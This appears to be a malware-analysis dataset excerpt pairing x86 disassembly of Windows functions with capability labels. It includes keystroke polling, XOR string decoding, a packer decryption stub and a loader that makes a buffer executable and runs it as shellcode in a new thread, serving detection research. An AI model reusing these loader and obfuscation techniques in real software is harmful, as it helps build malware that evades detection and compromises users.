joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10010050
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10063040]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
mov ebx, dword [0x100daf00]
lea eax, [esp + 0x24]
push esi
push edi
push eax
push dword [0x100daf18]
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x34]
sub eax, dword [esp + 0x2c]
movd xmm1, eax
mov eax, dword [esp + 0x38]
sub eax, dword [esp + 0x30]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
lea eax, [esp + 0x20]
cvtdq2ps xmm0, xmm0
push eax
movss dword [ebx + 0x10], xmm1
movss dword [ebx + 0x14], xmm0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edi, dword [esp + 0x20]
mov ecx, edi
sub ecx, dword [0x100daf20]
mov esi, dword [esp + 0x24]
mov edx, esi
sbb edx, dword [0x100daf24]
call fcn.1004ea80
mov edx, dword [0x100daf2c]
mov ecx, dword [0x100daf28]
cvtsd2ss xmm0, xmm0
movss dword [esp + 0x10], xmm0
call fcn.1004ea80
movss xmm1, dword [esp + 0x10]
cvtsd2ss xmm0, xmm0
push 0x11
divss xmm1, xmm0
movss dword [ebx + 0x18], xmm1
mov dword [0x100daf24], esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
mov dword [0x100daf20], edi
call esi
shr eax, 0xf
and al, 1
push 0x10
mov byte [ebx + 0xf1], al
call esi
shr eax, 0xf
and al, 1
push 0x12
mov byte [ebx + 0xf2], al
call esi
mov ecx, dword [0x100daf00]
shr eax, 0xf
and al, 1
mov byte [ebx + 0xf4], 0
mov byte [ebx + 0xf3], al
cmp byte [ecx + 0x36f], 0
lea esi, [ecx + 0xd8]
je 0x1001018a
cvttss2si eax, dword [esi]
mov dword [esp + 0x10], eax
cvttss2si eax, dword [ecx + 0xdc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push dword [0x100daf18]
call dword [sym.imp.USER32.dll_ClientToScreen]
push dword [esp + 0x14]
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_SetCursorPos]
mov dword [esi], 0xff7fffff
mov dword [esi + 4], 0xff7fffff
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [0x100daf18]
jne 0x100101e4
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x100101e4
lea eax, [esp + 0x18]
push eax
push dword [0x100daf18]
call dword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x100101e4
movd xmm0, dword [esp + 0x18]
movd xmm1, dword [esp + 0x1c]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [esi], xmm0
movss dword [esi + 4], xmm1
cmp byte [ebx + 0xf0], 0
je 0x100101f2
or eax, 0xffffffff
jmp 0x100101fd
mov eax, dword [0x100daf00]
mov eax, dword [eax + 0x1cfc]
cmp dword [0x10065224], eax
je 0x1001020f
mov dword [0x10065224], eax
call fcn.1000ff30
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
Function at 0x10011f30
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x100daf7c], 0
push ebx
push esi
push edi
mov edi, edx
mov esi, ecx
jne 0x10011fea
xor ebx, ebx
nop dword [eax]
mov edx, ebx
mov eax, ebx
shr eax, 1
and edx, 1
neg edx
and edx, 0xedb88320
xor edx, eax
mov eax, edx
shr edx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov dword [ebx*4 + 0x100daf78], eax
inc ebx
cmp ebx, 0x100
jb 0x10011f50
mov ebx, dword [ebp + 8]
not ebx
mov eax, ebx
test edi, edi
jle 0x10012016
movzx ecx, byte [esi]
lea esi, [esi + 1]
movzx edx, al
xor edx, ecx
shr eax, 8
xor eax, dword [edx*4 + 0x100daf78]
sub edi, 1
jne 0x10011ff5
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
mov cl, byte [esi]
inc esi
test cl, cl
je 0x10012048
nop dword [eax]
cmp cl, 0x23
jne 0x1001202f
cmp byte [esi], cl
jne 0x1001202f
cmp byte [esi + 1], cl
cmove eax, ebx
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x100daf78]
test cl, cl
jne 0x10012020
pop edi
pop esi
not eax
pop ebx
pop ebp
ret

Function at 0x100128f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10012902
mov dword [edi], 0
mov edx, 0x1005e32c
call fcn.100127c0
mov esi, eax
test esi, esi
jne 0x10012916
pop edi
pop esi
pop ebp
ret
push ebx
push 2
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100129b0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebx, eax
add esp, 4
cmp ebx, 0xffffffff
je 0x100129b0
push 0
push 0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x100129b0
inc dword [0x100daf1c]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
je 0x100129b0
push esi
push ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
push esi
cmp eax, ebx
je 0x10012999
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
push dword [ebp + 8]
dec dword [0x100daf1c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 8
xor eax, eax
pop ebx
pop edi
pop esi
pop ebp
ret
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
test edi, edi
je 0x100129a8
mov dword [edi], ebx
mov eax, dword [ebp + 8]
pop ebx
pop edi
pop esi
pop ebp
ret
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
xor eax, eax
pop ebx
pop edi
pop esi
pop ebp
ret
Function at 0x10018890
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x38
mov eax, dword [0x10063040]
xor eax, esp
mov dword [esp + 0x34], eax
push esi
push edi
mov edi, ecx
mov dword [esp + 0x24], 0
mov dword [esp + 0xc], edi
xor ecx, ecx
mov dword [esp + 0x34], 0x9a9395ac
mov dword [esp + 0x38], 0x1007790
lea eax, [ecx - 5]
xor byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 6
jb 0x100188c6
lea eax, [esp + 0x34]
mov dword [esp + 0x34], 0x9a9395ac
mov dword [esp + 0x10], eax
xor ecx, ecx
mov dword [esp + 0x38], 0x1007790
nop dword [eax]
lea eax, [ecx - 5]
xor byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 6
jb 0x100188f0
push 0
xor edx, edx
mov byte [esp + 0x3f], 0
lea ecx, [esp + 0x38]
call fcn.10011f30
mov ecx, dword [edi + 0x2ca0]
lea esi, [edi + 0x2c9c]
mov dword [esp + 0x18], eax
add esp, 4
mov eax, dword [esi]
mov dword [esp + 0x18], 0x10018360
mov dword [esp + 0x1c], 0x100183d0
mov dword [esp + 0x20], 0x10018560
test eax, eax
jne 0x1001898b
cmp eax, ecx
jne 0x1001896c
lea edi, [eax + 1]
test ecx, ecx
je 0x10018956
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x1001895b
mov eax, 8
cmp eax, edi
mov ecx, esi
cmovg edi, eax
push edi
call fcn.10032de0
mov edi, dword [esp + 0xc]
mov eax, dword [esi]
movups xmm0, xmmword [esp + 0x10]
lea ecx, [eax + eax*2]
mov eax, dword [esi + 8]
movups xmmword [eax + ecx*8], xmm0
movq xmm0, qword [esp + 0x20]
movq qword [eax + ecx*8 + 0x10], xmm0
jmp 0x100189ea
cmp eax, ecx
jne 0x100189b7
lea edi, [eax + 1]
test ecx, ecx
je 0x100189a1
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
jmp 0x100189a6
mov eax, 8
cmp eax, edi
mov ecx, esi
cmovg edi, eax
push edi
call fcn.10032de0
mov edi, dword [esp + 0xc]
mov eax, dword [esi]
test eax, eax
jle 0x100189d4
mov ecx, dword [esi + 8]
lea eax, [eax + eax*2]
shl eax, 3
push eax
push ecx
lea eax, [ecx + 0x18]
push eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, dword [esi + 8]
movups xmm0, xmmword [esp + 0x10]
movups xmmword [eax], xmm0
movq xmm0, qword [esp + 0x20]
movq qword [eax + 0x10], xmm0
inc dword [esi]
mov ecx, dword [esp + 0x3c]
mov byte [edi], 1
pop edi
pop esi
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
Function at 0x10018d30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [0x100daf00]
mov eax, ecx
mov dword [ebp - 8], eax
mov dword [esi + 0x2c8c], 0
test eax, eax
je 0x10018dec
push ebx
push edi
push 0
lea ecx, [esi + 0x2c90]
mov dword [esi + 0x2c8c], 0
call fcn.10032930
lea eax, [ebp - 1]
mov byte [ebp - 1], 0
push eax
lea ecx, [esi + 0x2c90]
call fcn.10032b40
xor ebx, ebx
cmp dword [esi + 0x2c9c], ebx
jle 0x10018db5
xor edi, edi
nop dword [eax]
mov eax, dword [esi + 0x2ca4]
lea ecx, [esi + 0x2c90]
add eax, edi
push ecx
push eax
push esi
mov eax, dword [eax + 0x10]
call eax
inc ebx
add esp, 0xc
add edi, 0x18
cmp ebx, dword [esi + 0x2c9c]
jl 0x10018d90
mov edi, dword [esi + 0x2c90]
mov edx, 0x1005e330
mov ecx, dword [ebp - 8]
dec edi
mov ebx, dword [esi + 0x2c98]
call fcn.100127c0
mov esi, eax
test esi, esi
je 0x10018dea
push esi
push edi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10038480
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10063040]
xor eax, esp
mov dword [esp + 0x30], eax
movaps xmm0, xmmword [0x1005f290]
push ebx
movups xmmword [esp + 8], xmm0
mov ebx, ecx
mov dword [esp + 0x28], 0x444c6f6c
movaps xmm0, xmmword [0x1005f320]
xor ecx, ecx
push esi
push edi
movups xmmword [esp + 0x20], xmm0
mov dword [esp + 0x34], 0x57456702
mov dword [esp + 0x38], 0x100274d
nop dword [eax + eax]
mov al, cl
sub al, 2
xor byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x2a
jb 0x100384d0
xor esi, esi
mov byte [esp + 0x3b], 0
cmp byte [esp + 0x10], 0
lea edx, [esp + 0x10]
je 0x10038506
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100384f5
sub eax, edi
inc edx
add edx, eax
inc esi
cmp byte [edx], cl
jne 0x100384f0
push ecx
push esi
lea eax, [esp + 0x18]
mov edx, 0x100db384
push eax
push 0x1002bb90
mov ecx, ebx
call fcn.1002bbf0
add esp, 0x10
test al, al
je 0x100385b9
mov eax, dword [0x100db384]
cmp eax, 4
ja case.default.0x10038533
jmp dword [eax*4 + 0x100385d0]
xor ecx, ecx
call fcn.10042690
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
call fcn.100436b0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
call fcn.10043000
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
call fcn.10044bd0
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
call fcn.10044520
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x3c]
xor al, al
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1004ad76
mov esp, ebp
pop ebp
ret
Function at 0x1003b3b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x34], 0
je 0x1003b3d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x33
jb 0x1003b3c0
mov byte [esi + 0x34], 0
pop esi
ret

Function at 0x1003b3e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x24], 0
je 0x1003b402
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x23
jb 0x1003b3f0
mov byte [esi + 0x24], 0
pop esi
ret

Function at 0x1003b410
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a5], 0
je 0x1003b437
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x1a4
jb 0x1003b420
mov byte [esi + 0x1a5], 0
pop esi
ret

Function at 0x1003b440
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2c], 0
je 0x1003b462
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x2b
jb 0x1003b450
mov byte [esi + 0x2c], 0
pop esi
ret

Function at 0x1003b470
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x22], 0
je 0x1003b492
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x21
jb 0x1003b480
mov byte [esi + 0x22], 0
pop esi
ret

Function at 0x1003b4a0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x5f], 0
je 0x1003b4c2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x5e
jb 0x1003b4b0
mov byte [esi + 0x5f], 0
pop esi
ret

Function at 0x1003b4d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x3c], 0
je 0x1003b4f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x3b
jb 0x1003b4e0
mov byte [esi + 0x3c], 0
pop esi
ret

Function at 0x1003b500
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x68], 0
je 0x1003b522
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x67
jb 0x1003b510
mov byte [esi + 0x68], 0
pop esi
ret

Function at 0x1003b530
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x41], 0
je 0x1003b552
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x40
jb 0x1003b540
mov byte [esi + 0x41], 0
pop esi
ret

Function at 0x1003b560
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x13], 0
je 0x1003b582
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x12
jb 0x1003b570
mov byte [esi + 0x13], 0
pop esi
ret
Function at 0x1003b590
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x8b], 0
je 0x1003b5b7
xor eax, eax
nop
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x8a
jb 0x1003b5a0
mov byte [esi + 0x8b], 0
pop esi
ret

Function at 0x1003b5c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 5], 0
je 0x1003b5e2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 4
jb 0x1003b5d0
mov byte [esi + 5], 0
pop esi
ret

Function at 0x1003b5f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2b], 0
je 0x1003b612
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x2a
jb 0x1003b600
mov byte [esi + 0x2b], 0
pop esi
ret

Function at 0x1003b620
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x15], 0
je 0x1003b642
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 2]
inc eax
xor byte [edx], cl
cmp eax, 0x14
jb 0x1003b630
mov byte [esi + 0x15], 0
pop esi
ret
Function at 0x10049760
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004ffd6
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10063040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 8], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x18], 0
mov dword [ebp - 4], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x30], 0
mov byte [ebp - 4], 2
mov eax, 0x3f
mov dword [esi + 4], 0x3f800000
mov word [esi + 0x3c], ax
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call fcn.10049890
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1004bde0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.1004bf90
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1004bead
mov edx, dword [ebp - 4]
cmp edx, dword [0x10063090]
jb 0x1004be2a
mov eax, dword [ebp - 4]
cmp eax, dword [0x10063094]
ja 0x1004be2a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1004bdfa
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1004be50
jmp 0x1004bead
cmp dword [ebp - 0x14], 0x10000
jne 0x1004be93
cmp dword [ebp - 0x18], 0x10000
jb 0x1004be93
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1004be86
mov eax, dword [ebp - 8]
jmp 0x1004beaf
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1004bea8
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.1004bf90
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1004bdfa
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1004bec0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.1004bfc0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x1004bf85
mov edx, dword [ebp - 4]
cmp edx, dword [0x10063090]
jb 0x1004bf05
mov eax, dword [ebp - 4]
cmp eax, dword [0x10063094]
ja 0x1004bf05
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1004bed5
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1004bf2b
jmp 0x1004bf85
cmp dword [ebp - 0x14], 0x10000
jne 0x1004bf6e
cmp dword [ebp - 0x18], 0x10000
jb 0x1004bf6e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1004bf61
mov eax, dword [ebp - 8]
jmp 0x1004bf87
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x1004bf80
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.1004bfc0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1004bed5
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x433005
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x402894
Capabilities:
Get common file path
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00408e90
mov eax, dword [0x2a9aff8]
mov ecx, dword [0x2a99f48]
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x40296f
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x2a9aff8], 0x959
jne 0x40295d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SleepEx]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
lea eax, [ebp - 0x1000]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
call fcn.004026de
add edi, 8
dec ebx
jne 0x4028c0
pop edi
pop ebx
pop esi
leave
ret
Function at 0x403860
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4260c8]
jne 0x40386a
repz ret
jmp fcn.00405dbe

Function at 0x4059e4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004044f9
and dword [ebp - 4], 0
cmp dword [0x427884], 0
mov ebx, eax
jne 0x405a95
push 0x401930
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405b46
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401924
push edi
call esi
test eax, eax
je 0x405b46
push eax
call fcn.00404487
mov dword [esp], 0x401914
push edi
mov dword [0x427884], eax
call esi
push eax
call fcn.00404487
mov dword [esp], 0x401900
push edi
mov dword [0x427888], eax
call esi
push eax
call fcn.00404487
mov dword [esp], 0x4018e4
push edi
mov dword [0x42788c], eax
call esi
push eax
call fcn.00404487
pop ecx
mov dword [0x427894], eax
test eax, eax
je 0x405a95
push 0x4018cc
push edi
call esi
push eax
call fcn.00404487
pop ecx
mov dword [0x427890], eax
mov eax, dword [0x427890]
cmp eax, ebx
je 0x405aed
cmp dword [0x427894], ebx
je 0x405aed
push eax
call fcn.00404502
push dword [0x427894]
mov esi, eax
call fcn.00404502
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x405aed
test edi, edi
je 0x405aed
call esi
test eax, eax
je 0x405ae4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405ae4
test byte [ebp - 0xc], 1
jne 0x405aed
or dword [ebp + 0x10], 0x200000
jmp 0x405b26
mov eax, dword [0x427888]
cmp eax, ebx
je 0x405b26
push eax
call fcn.00404502
pop ecx
test eax, eax
je 0x405b26
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405b26
mov eax, dword [0x42788c]
cmp eax, ebx
je 0x405b26
push eax
call fcn.00404502
pop ecx
test eax, eax
je 0x405b26
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x427884]
call fcn.00404502
pop ecx
test eax, eax
je 0x405b46
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405b48
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x414de0
Capabilities:
Encode data using xor

Disassembly:
xor dword [esi], ecx
sub ebx, 0xa641ccdc
mov ebx, eax
add esi, 4
inc eax
push 0x9a1fc08e
pop ebx
add eax, ebx
cmp esi, edx
jne fcn.00414de0
ret
Function at 0x401088
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x404448
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401192
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ecx
push ebx
push esi
mov esi, ecx
push 0x4da78
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4011ad
pop esi
pop ebx
pop ecx
ret
lea eax, [esp + 8]
push edi
push eax
mov ecx, 0x1369e
add esi, 0x4da90
mov edi, ebx
push 0x40
push 0x4da78
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret